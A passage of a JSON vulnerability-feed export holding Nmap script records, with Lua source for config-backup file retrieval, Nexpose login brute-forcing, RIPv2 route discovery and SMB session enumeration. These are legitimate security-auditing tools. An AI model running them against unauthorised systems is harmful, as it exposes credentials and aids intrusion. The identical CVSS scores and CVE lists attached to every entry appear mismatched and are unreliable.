* [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n * [url](<../lib/url.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-03-06T17:51:26", "type": "nmap", "title": "http-config-backup NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2016-07-22T15:52:30", "id": "NMAP:HTTP-CONFIG-BACKUP.NSE", "href": "https://nmap.org/nsedoc/scripts/http-config-backup.html", "sourceData": "local coroutine = require \"coroutine\"\nlocal http = require \"http\"\nlocal io = require \"io\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\nlocal url = require \"url\"\n\ndescription = [[\nChecks for backups and swap files of common content management system\nand web server configuration files.\n\nWhen web server files are edited in place, the text editor can leave\nbackup or swap files in a place where the web server can serve them. The\nscript checks for these files:\n\n* <code>wp-config.php</code>: WordPress\n* <code>config.php</code>: phpBB, ExpressionEngine\n* <code>configuration.php</code>: Joomla\n* <code>LocalSettings.php</code>: MediaWiki\n* <code>/mediawiki/LocalSettings.php</code>: MediaWiki\n* <code>mt-config.cgi</code>: Movable Type\n* <code>mt-static/mt-config.cgi</code>: Movable Type\n* <code>settings.php</code>: Drupal\n* <code>.htaccess</code>: Apache\n\nAnd for each of these file applies the following transformations (using\n<code>config.php</code> as an example):\n\n* <code>config.bak</code>: Generic backup.\n* <code>config.php.bak</code>: Generic backup.\n* <code>config.php~</code>: Vim, Gedit.\n* <code>#config.php#</code>: Emacs.\n* <code>config copy.php</code>: Mac OS copy.\n* <code>Copy of config.php</code>: Windows copy.\n* <code>config.php.save</code>: GNU Nano.\n* <code>.config.php.swp</code>: Vim swap.\n* <code>config.php.swp</code>: Vim swap.\n* <code>config.php.old</code>: Generic backup.\n\nThis script is inspired by the CMSploit program by Feross Aboukhadijeh:\nhttp://www.feross.org/cmsploit/.\n]];\n\n---\n-- @usage\n-- nmap --script=http-config-backup <target>\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 80/tcp open http syn-ack\n-- | http-config-backup:\n-- | /%23wp-config.php%23 HTTP/1.1 200 OK\n-- |_ /config.php~ HTTP/1.1 200 OK\n--\n-- @args http-config-backup.path the path where the CMS is installed\n-- @args http-config-backup.save directory to save all the valid config files found\n--\n\nauthor = \"Riccardo Cecolin\";\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\";\ncategories = { \"auth\", \"intrusive\" };\n\n\nportrule = shortport.http;\n\nlocal function make_grep(pattern)\n return function(s)\n return string.match(s, pattern)\n end\nend\n\nlocal grep_php = make_grep(\"<%?php\");\nlocal grep_cgipath = make_grep(\"CGIPath\");\n\nlocal function check_htaccess(s)\n return string.match(\"<Files\") or string.match(s, \"RewriteRule\")\nend\n\nlocal CONFIGS = {\n { filename = \"wp-config.php\", check = grep_php }, -- WordPress\n { filename = \"config.php\", check = grep_php }, -- phpBB, ExpressionEngine\n { filename = \"configuration.php\", check = grep_php }, -- Joomla\n { filename = \"LocalSettings.php\", check = grep_php }, -- MediaWiki\n { filename = \"/mediawiki/LocalSettings.php\", check = grep_php }, -- MediaWiki\n { filename = \"mt-config.cgi\", check = grep_cgipath }, -- Movable Type\n { filename = \"mt-static/mt-config.cgi\", check = grep_cgipath }, -- Movable Type\n { filename = \"settings.php\", check = grep_php }, -- Drupal\n { filename = \".htaccess\", check = check_htaccess }, -- Apache\n};\n\n-- Return directory, filename pair. directory may be empty.\nlocal function splitdir(path)\n local dir, filename\n\n dir, filename = string.match(path, \"^(.*/)(.*)$\")\n if not dir then\n dir = \"\"\n filename = path\n end\n\n return dir, filename\nend\n\n-- Return basename, extension pair. extension may be empty.\nlocal function splitext(filename)\n local base, ext;\n\n base, ext = string.match(filename, \"^(.+)(%..+)\")\n if not base then\n base = filename\n ext = \"\"\n end\n\n return base, ext\nend\n\n-- Functions mangling filenames.\nlocal TRANSFORMS = {\n function(fn)\n local base, ext = splitext(fn);\n if ext ~= \"\" then\n return base .. \".bak\" -- generic bak file\n end\n end,\n function(fn) return fn .. \".bak\" end,\n function(fn) return fn .. \"~\" end, -- vim, gedit\n function(fn) return \"#\" .. fn .. \"#\" end, -- Emacs\n function(fn)\n local base, ext = splitext(fn);\n return base .. \" copy\" .. ext -- mac copy\n end,\n function(fn) return \"Copy of \" .. fn end, -- windows copy\n function(fn) return fn .. \".save\" end, -- nano\n function(fn) if string.sub(fn, 1, 1) ~= \".\" then return \".\" .. fn .. \".swp\" end end, -- vim swap\n function(fn) return fn .. \".swp\" end, -- vim swap\n function(fn) return fn .. \".old\" end, -- generic backup\n};\n\n---\n--Creates combinations of backup names for a given filename\n--Taken from: http-backup-finder.nse\nlocal function backupNames (filename)\n local dir, basename;\n\n dir, basename = splitdir(filename);\n return coroutine.wrap(function()\n for _, transform in ipairs(TRANSFORMS) do\n local result = transform(basename);\n\n if result == nil then\n elseif type(result) == \"string\" then\n coroutine.yield(dir .. result);\n result = {result}\n elseif type(result) == \"table\" then\n for _, r in ipairs(result) do\n coroutine.yield(dir .. r);\n end\n end\n end\n end)\nend\n\n---\n--Writes string to file\n--Taken from: hostmap.nse\n-- @param filename Filename to write\n-- @param contents Content of file\n-- @return True if file was written successfully\nlocal function write_file (filename, contents)\n local f, err = io.open(filename, \"w\");\n if not f then\n return f, err;\n end\n f:write(contents);\n f:close();\n return true;\nend\n\naction = function (host, port)\n local path = stdnse.get_script_args(\"http-config-backup.path\") or \"/\";\n local save = stdnse.get_script_args(\"http-config-backup.save\");\n\n local backups = {};\n\n if not path:match(\"/$\") then\n path = path .. \"/\";\n end\n\n if not path:match(\"^/\") then\n path = \"/\" .. path;\n end\n\n if (save and not(save:match(\"/$\") ) ) then\n save = save .. \"/\";\n end\n\n local status_404, result_404, known_404 = http.identify_404(host, port)\n if not status_404 then\n stdnse.debug1(\"Can't distinguish 404 response. Quitting.\")\n return stdnse.format_output(false, \"Can't determine file existence\")\n end\n\n -- for each config file\n for _, cfg in ipairs(CONFIGS) do\n -- for each alteration of the filename\n for entry in backupNames(cfg.filename) do\n local url_path\n\n url_path = url.build({path = path .. entry});\n\n -- http request\n local response = http.get(host, port, url_path);\n\n -- if it's not 200, don't bother. If it is, check that it's not a false 404\n if response.status == 200 and http.page_exists(response, result_404, known_404, url_path) then\n -- check it if is valid before inserting\n if cfg.check(response.body) then\n local filename = stdnse.escape_filename((host.targetname or host.ip) .. url_path)\n\n -- save the content\n if save then\n local status, err = write_file(save .. filename, response.body);\n if status then\n stdnse.debug1(\"%s saved\", filename);\n else\n stdnse.debug1(\"error saving %s\", err);\n end\n end\n\n table.insert(backups, url_path .. \" \" .. response[\"status-line\"]);\n else\n stdnse.debug1(\"%s: found but not matching: %s\",\n host.targetname or host.ip, url_path);\n end\n end\n end\n end\n\n return stdnse.format_output(true, backups);\nend;\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:40:15", "description": "Performs brute force password auditing against a Nexpose vulnerability scanner using the API 1.1. \n\nAs the Nexpose application enforces account lockout after 4 incorrect login attempts, the script performs only 3 guesses per default. This can be altered by supplying the `brute.guesses` argument a different value or 0 (zero) to guess the whole dictionary.\n\n## Script Arguments \n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb \n\nSee the documentation for the [unpwdb](<../lib/unpwdb.html#script-args>) library. \n\n#### brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass \n\nSee the documentation for the [brute](<../lib/brute.html#script-args>) library. \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script nexpose-brute -p 3780 <ip>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON VERSION\n 3780/tcp open ssl/nexpose syn-ack NeXpose NSC 0.6.4\n | nexpose-brute:\n | Accounts\n | nxadmin:nxadmin - Valid credentials\n | Statistics\n |_ Performed 5 guesses in 1 seconds, average tps: 5\n \n\n## Requires \n\n * [brute](<../lib/brute.html>)\n * [creds](<../lib/creds.html>)\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [openssl](<../lib/openssl.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-11-17T19:46:42", "type": "nmap", "title": "nexpose-brute NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:NEXPOSE-BRUTE.NSE", "href": "https://nmap.org/nsedoc/scripts/nexpose-brute.html", "sourceData": "local brute = require \"brute\"\nlocal creds = require \"creds\"\nlocal http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\n\nlocal openssl = stdnse.silent_require \"openssl\"\n\ndescription=[[\nPerforms brute force password auditing against a Nexpose vulnerability scanner\nusing the API 1.1.\n\nAs the Nexpose application enforces account lockout after 4 incorrect login\nattempts, the script performs only 3 guesses per default. This can be\naltered by supplying the <code>brute.guesses</code> argument a different\nvalue or 0 (zero) to guess the whole dictionary.\n]]\n\n---\n-- @usage\n-- nmap --script nexpose-brute -p 3780 <ip>\n--\n-- @output\n-- PORT STATE SERVICE REASON VERSION\n-- 3780/tcp open ssl/nexpose syn-ack NeXpose NSC 0.6.4\n-- | nexpose-brute:\n-- | Accounts\n-- | nxadmin:nxadmin - Valid credentials\n-- | Statistics\n-- |_ Performed 5 guesses in 1 seconds, average tps: 5\n--\n\nauthor = \"Vlatko Kosturjak\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"intrusive\", \"brute\"}\n\n\nportrule = shortport.port_or_service(3780, \"nexpose\", \"tcp\")\n\nDriver =\n{\n new = function (self, host, port)\n local o = { host = host, port = port }\n setmetatable (o,self)\n self.__index = self\n return o\n end,\n\n connect = function ( self ) return true end,\n\n login = function( self, username, password )\n local postdata='<?xml version=\"1.0\" encoding=\"UTF-8\"?><LoginRequest sync-id=\"1\" user-id=\"'..username..'\" password=\"'..password..'\"></LoginRequest>'\n local response = http.post( self.host, self.port, '/api/1.1/xml', { no_cache = true, header = { [\"Content-Type\"] = \"text/xml\" } }, nil, postdata )\n\n if (not(response)) then\n local err = brute.Error:new( \"Couldn't send/receive HTTPS request\" )\n err:setRetry( true )\n return false, err\n end\n\n if (response.body == nil or response.body:match('<LoginResponse.*success=\"0\"')) then\n stdnse.debug2(\"Bad login: %s/%s\", username, password)\n return false, brute.Error:new( \"Bad login\" )\n elseif (response.body:match('<LoginResponse.*success=\"1\"')) then\n stdnse.debug1(\"Good login: %s/%s\", username, password)\n return true, creds.Account:new(username, password, creds.State.VALID)\n end\n stdnse.debug1(\"WARNING: Unhandled response: %s\", response.body)\n return false, brute.Error:new( \"incorrect response from server\" )\n end,\n\n disconnect = function( self ) return true end,\n}\n\naction = function(host, port)\n local engine = brute.Engine:new(Driver, host, port)\n engine.options.script_name = SCRIPT_NAME\n engine.options.max_guesses = tonumber(stdnse.get_script_args('brute.guesses')) or 3\n local status, result = engine:start()\n return result\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:47", "description": "Discovers hosts and routing information from devices running RIPv2 on the LAN. It does so by sending a RIPv2 Request command and collects the responses from all devices responding to the request.\n\n## Script Arguments \n\n#### broadcast-rip-discover.timeout \n\ntimespec defining how long to wait for a response. (default 5s)\n\n## Example Usage \n \n \n nmap --script broadcast-rip-discover\n \n\n## Script Output \n \n \n Pre-scan script results:\n | broadcast-rip-discover:\n | Discovered RIPv2 devices\n | 10.0.200.107\n | ip netmask nexthop metric\n | 10.46.100.0 255.255.255.0 0.0.0.0 1\n | 10.46.110.0 255.255.255.0 0.0.0.0 1\n | 10.46.120.0 255.255.255.0 0.0.0.0 1\n | 10.46.123.0 255.255.255.0 10.0.200.123 1\n | 10.46.124.0 255.255.255.0 10.0.200.124 1\n | 10.46.125.0 255.255.255.0 10.0.200.125 1\n | 10.0.200.101\n | ip netmask nexthop metric\n |_ 0.0.0.0 0.0.0.0 10.0.200.1 1\n \n\n## Requires \n\n * [ipOps](<../lib/ipOps.html>)\n * [nmap](<../lib/nmap.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [tab](<../lib/tab.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-11-02T10:23:50", "type": "nmap", "title": "broadcast-rip-discover NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-06T14:20:32", "id": "NMAP:BROADCAST-RIP-DISCOVER.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-rip-discover.html", "sourceData": "local ipOps = require \"ipOps\"\nlocal nmap = require \"nmap\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal tab = require \"tab\"\nlocal table = require \"table\"\n\ndescription=[[\nDiscovers hosts and routing information from devices running RIPv2 on the\nLAN. It does so by sending a RIPv2 Request command and collects the responses\nfrom all devices responding to the request.\n]]\n\n---\n-- @usage\n-- nmap --script broadcast-rip-discover\n--\n-- @output\n-- Pre-scan script results:\n-- | broadcast-rip-discover:\n-- | Discovered RIPv2 devices\n-- | 10.0.200.107\n-- | ip netmask nexthop metric\n-- | 10.46.100.0 255.255.255.0 0.0.0.0 1\n-- | 10.46.110.0 255.255.255.0 0.0.0.0 1\n-- | 10.46.120.0 255.255.255.0 0.0.0.0 1\n-- | 10.46.123.0 255.255.255.0 10.0.200.123 1\n-- | 10.46.124.0 255.255.255.0 10.0.200.124 1\n-- | 10.46.125.0 255.255.255.0 10.0.200.125 1\n-- | 10.0.200.101\n-- | ip netmask nexthop metric\n-- |_ 0.0.0.0 0.0.0.0 10.0.200.1 1\n--\n-- @args broadcast-rip-discover.timeout timespec defining how long to wait for\n-- a response. (default 5s)\n\n--\n-- Version 0.1\n-- Created 29/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"broadcast\", \"safe\"}\n\n\nprerule = function() return not( nmap.address_family() == \"inet6\") end\n\nRIPv2 = {\n\n Command = {\n Request = 1,\n Response = 2,\n },\n\n AddressFamily = {\n IP = 2,\n },\n\n -- The Request class contains functions to build a RIPv2 Request\n Request = {\n\n -- Creates a new Request instance\n --\n -- @param command number containing the RIPv2 Command to use\n -- @return o instance of request\n new = function(self, command)\n local o = {\n version = 2,\n command = command,\n domain = 0,\n family = 0,\n tag = 0,\n address = 0,\n subnet = 0,\n nexthop = 0,\n metric = 16\n }\n setmetatable(o, self)\n self.__index = self\n return o\n end,\n\n -- Converts the whole request to a string\n __tostring = function(self)\n assert(self.command, \"No command was supplied\")\n assert(self.metric, \"No metric was supplied\")\n assert(self.address, \"No address was supplied\")\n local RESERVED = 0\n -- RIPv2 stuff, should be 0 for RIPv1\n local tag, subnet, nexthop = 0, 0, 0\n\n local data = string.pack(\">BB I2 I2 I2 I4 I4 I4 I4\",\n self.command, self.version, self.domain, self.family, self.tag,\n self.address, self.subnet, self.nexthop, self.metric)\n\n return data\n end,\n\n },\n\n -- The Response class contains code needed to parse a RIPv2 response\n Response = {\n\n -- Creates a new Response instance based on raw socket data\n --\n -- @param data string containing the raw socket response\n -- @return o Response instance\n new = function(self, data)\n local o = { data = data }\n\n if ( not(data) or #data < 3 ) then\n return\n end\n local pos, _\n o.command, o.version, _, pos = string.unpack(\">BBI2\", data)\n if ( o.command ~= RIPv2.Command.Response or o.version ~= 2 ) then\n return\n end\n\n local routes = tab.new(2)\n tab.addrow(routes, \"ip\", \"netmask\", \"nexthop\", \"metric\")\n\n while( #data - pos >= 20 ) do\n local family, address, metric, netmask, nexthop\n family, _, address, netmask, nexthop,\n metric, pos = string.unpack(\">I2 I2 I4 I4 I4 I4\", data, pos)\n\n if ( family == RIPv2.AddressFamily.IP ) then\n local ip = ipOps.fromdword(address)\n netmask = ipOps.fromdword(netmask)\n nexthop = ipOps.fromdword(nexthop)\n tab.addrow(routes, ip, netmask, nexthop, metric)\n end\n end\n\n if ( #routes > 1 ) then o.routes = routes end\n\n setmetatable(o, self)\n self.__index = self\n return o\n end,\n\n }\n\n}\n\n\naction = function()\n local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))\n timeout = (timeout or 5) * 1000\n\n local socket = nmap.new_socket(\"udp\")\n socket:set_timeout(timeout)\n\n local rip = RIPv2.Request:new(RIPv2.Command.Request)\n local status, err = socket:sendto(\"224.0.0.9\",\n { number = 520, protocol = \"udp\" },\n tostring(rip))\n local result = {}\n repeat\n local data\n status, data = socket:receive()\n if ( status ) then\n local status, _, _, rhost, _ = socket:get_info()\n local response = RIPv2.Response:new(data)\n table.insert(result, rhost)\n\n if ( response and response.routes and #response.routes > 0 ) then\n --response.routes.name = \"Routes\"\n table.insert(result, { tab.dump(response.routes) } )\n end\n\n end\n until( not(status) )\n\n if ( #result > 0 ) then\n result.name = \"Discovered RIPv2 devices\"\n end\n return stdnse.format_output(true, result)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:35:32", "description": "Enumerates the users logged into a system either locally or through an SMB share. The local users can be logged on either physically on the machine, or through a terminal services session. Connections to a SMB share are, for example, people connected to fileshares or making RPC calls. Nmap's connection will also show up, and is generally identified by the one that connected \"0 seconds ago\". \n\nFrom the perspective of a penetration tester, the SMB Sessions is probably the most useful part of this program, especially because it doesn't require a high level of access. On, for example, a file server, there might be a dozen or more users connected at the same time. Based on the usernames, it might tell the tester what types of files are stored on the share. \n\nSince the IP they're connected from and the account is revealed, the information here can also provide extra targets to test, as well as a username that's likely valid on that target. Additionally, since a strong username to ip correlation is given, it can be a boost to a social engineering attack. \n\nEnumerating the logged in users is done by reading the remote registry (and therefore won't work against Vista, which disables it by default). Keys stored under `HKEY_USERS` are SIDs that represent the connected users, and those SIDs can be converted to proper names by using the `lsar.LsaLookupSids` function. Doing this requires any access higher than anonymous; guests, users, or administrators are all able to perform this request on Windows 2000, XP, 2003, and Vista. \n\nEnumerating SMB connections is done using the `srvsvc.netsessenum` function, which returns the usernames that are logged in, when they logged in, and how long they've been idle for. The level of access required for this varies between Windows versions, but in Windows 2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user or administrator account is required. \n\nI learned the idea and technique for this from Sysinternals' tool, `PsLoggedOn.exe`. I (Ron Bowes) use similar function calls to what they use (although I didn't use their source), so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script. \n\nWARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows 2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the same code) won't show up again. Since the process automatically restarts, it doesn't negatively impact the system, besides showing a message box to the user.\n\n### See also:\n\n * [ smb-enum-users.nse ](<../scripts/smb-enum-users.html>)\n\n## Script Arguments \n\n#### randomseed, smbbasic, smbport, smbsign \n\nSee the documentation for the [smb](<../lib/smb.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script smb-enum-sessions.nse -p445 <host>\n sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 <host>\n \n\n## Script Output \n \n \n Host script results:\n | smb-enum-sessions:\n | Users logged in:\n | | TESTBOX\\Administrator since 2008-10-21 08:17:14\n | |_ DOMAIN\\rbowes since 2008-10-20 09:03:23\n | Active SMB Sessions:\n |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]\n \n\n## Requires \n\n * [datetime](<../lib/datetime.html>)\n * [msrpc](<../lib/msrpc.html>)\n * [smb](<../lib/smb.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2008-11-06T02:52:59", "type": "nmap", "title": "smb-enum-sessions NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2022-01-03T21:08:51", "id": "NMAP:SMB-ENUM-SESSIONS.NSE", "href": "https://nmap.org/nsedoc/scripts/smb-enum-sessions.html", "sourceData": "local datetime = require \"datetime\"\nlocal msrpc = require \"msrpc\"\nlocal smb = require \"smb\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\n\ndescription = [[\nEnumerates the users logged into a system either locally or through an SMB share. The local users\ncan be logged on either physically on the machine, or through a terminal services session.\nConnections to a SMB share are, for example, people connected to fileshares or making RPC calls.\nNmap's connection will also show up, and is generally identified by the one that connected \"0\nseconds ago\".\n\nFrom the perspective of a penetration tester, the SMB Sessions is probably the most useful\npart of this program, especially because it doesn't require a high level of access. On, for\nexample, a file server, there might be a dozen or more users connected at the same time. Based\non the usernames, it might tell the tester what types of files are stored on the share.\n\nSince the IP they're connected from and the account is revealed, the information here can also\nprovide extra targets to test, as well as a username that's likely valid on that target. Additionally,\nsince a strong username to ip correlation is given, it can be a boost to a social engineering\nattack.\n\nEnumerating the logged in users is done by reading the remote registry (and therefore won't\nwork against Vista, which disables it by default). Keys stored under <code>HKEY_USERS</code> are\nSIDs that represent the connected users, and those SIDs can be converted to proper names by using\nthe <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than\nanonymous; guests, users, or administrators are all able to perform this request on Windows 2000,\nXP, 2003, and Vista.\n\nEnumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which\nreturns the usernames that are logged in, when they logged in, and how long they've been idle\nfor. The level of access required for this varies between Windows versions, but in Windows\n2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user\nor administrator account is required.\n\nI learned the idea and technique for this from Sysinternals' tool, <code>PsLoggedOn.exe</code>. I (Ron\nBowes) use similar function calls to what they use (although I didn't use their source),\nso thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script.\n\nWARNING: I have experienced crashes in regsvc.exe while making registry calls\nagainst a fully patched Windows 2000 system; I've fixed the issue that caused it,\nbut there's no guarantee that it (or a similar vuln in the same code) won't show\nup again. Since the process automatically restarts, it doesn't negatively impact\nthe system, besides showing a message box to the user.\n]]\n\n---\n--@usage\n-- nmap --script smb-enum-sessions.nse -p445 <host>\n-- sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 <host>\n--\n--@output\n-- Host script results:\n-- | smb-enum-sessions:\n-- | Users logged in:\n-- | | TESTBOX\\Administrator since 2008-10-21 08:17:14\n-- | |_ DOMAIN\\rbowes since 2008-10-20 09:03:23\n-- | Active SMB Sessions:\n-- |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]\n--\n-- @see smb-enum-users.nse\n\nauthor = \"Ron Bowes\"\ncopyright = \"Ron Bowes\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\",\"intrusive\"}\ndependencies = {\"smb-brute\"}\n\n\nhostrule = function(host)\n return smb.get_port(host) ~= nil\nend\n\n---Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail\n-- against a modern system, but will succeed against Windows 2000.\n--\n--@param host The host object.\n--@return Status (true or false).\n--@return List of sessions (if status is true) or an an error string (if status is false).\nlocal function srvsvc_enum_sessions(host)\n local i\n local status, smbstate\n local bind_result, netsessenum_result\n\n -- Create the SMB session\n status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)\n if(status == false) then\n return false, smbstate\n end\n\n -- Bind to SRVSVC service\n status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, bind_result\n end\n\n -- Call netsessenum\n status, netsessenum_result = msrpc.srvsvc_netsessenum(smbstate, host.ip)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, netsessenum_result\n end\n\n -- Stop the SMB session\n msrpc.stop_smb(smbstate)\n\n return true, netsessenum_result['ctr']['array']\nend\n\n---Enumerates the users logged in locally (or through terminal services) by using functions\n-- that access the registry. To perform this check, guest access or higher is required.\n--\n-- The way this works is based on the registry. HKEY_USERS is enumerated, and every key in it\n-- that looks like a SID is converted to a username using the LSA lookup function lsa_lookupsids2().\n--\n--@param host The host object.\n--@return An array of user tables, each with the keys <code>name</code>, <code>domain</code>, and <code>changed_date</code> (representing\n-- when they logged in).\nlocal function winreg_enum_rids(host)\n local i, j\n local elements = {}\n\n -- Create the SMB session\n local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)\n if(status == false) then\n return false, smbstate\n end\n\n -- Bind to WINREG service\n local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, bind_result\n end\n\n local status, openhku_result = msrpc.winreg_openhku(smbstate)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, openhku_result\n end\n\n -- Loop through the keys under HKEY_USERS and grab the names\n i = 0\n repeat\n local status, enumkey_result = msrpc.winreg_enumkey(smbstate, 